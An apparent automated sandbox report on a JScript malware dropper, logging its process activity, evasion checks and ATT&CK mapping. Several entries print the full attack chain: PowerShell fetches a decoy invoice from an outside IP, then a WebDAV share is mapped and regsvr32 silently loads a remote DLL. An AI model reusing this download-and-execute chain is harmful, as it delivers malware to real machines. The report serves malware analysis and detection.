Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\357.js.csv");ITextStream.WriteLine(" entry:7473 f:jpcfelmuf");ITextStream.WriteLine(" exec:2 f:jpcfelmuf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49794

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4954			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4916			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep count: 4954 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep count: 4916 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8036	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7364	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1460	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1477005131.000002CAC2B4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2S
Source: net.exe, 00000007.00000002.1477005131.000002CAC2B4F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2680529287.0000019804A40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2680590875.0000019804A5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2681453544.000001987F42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1477005131.000002CAC2AE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29464124349681.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
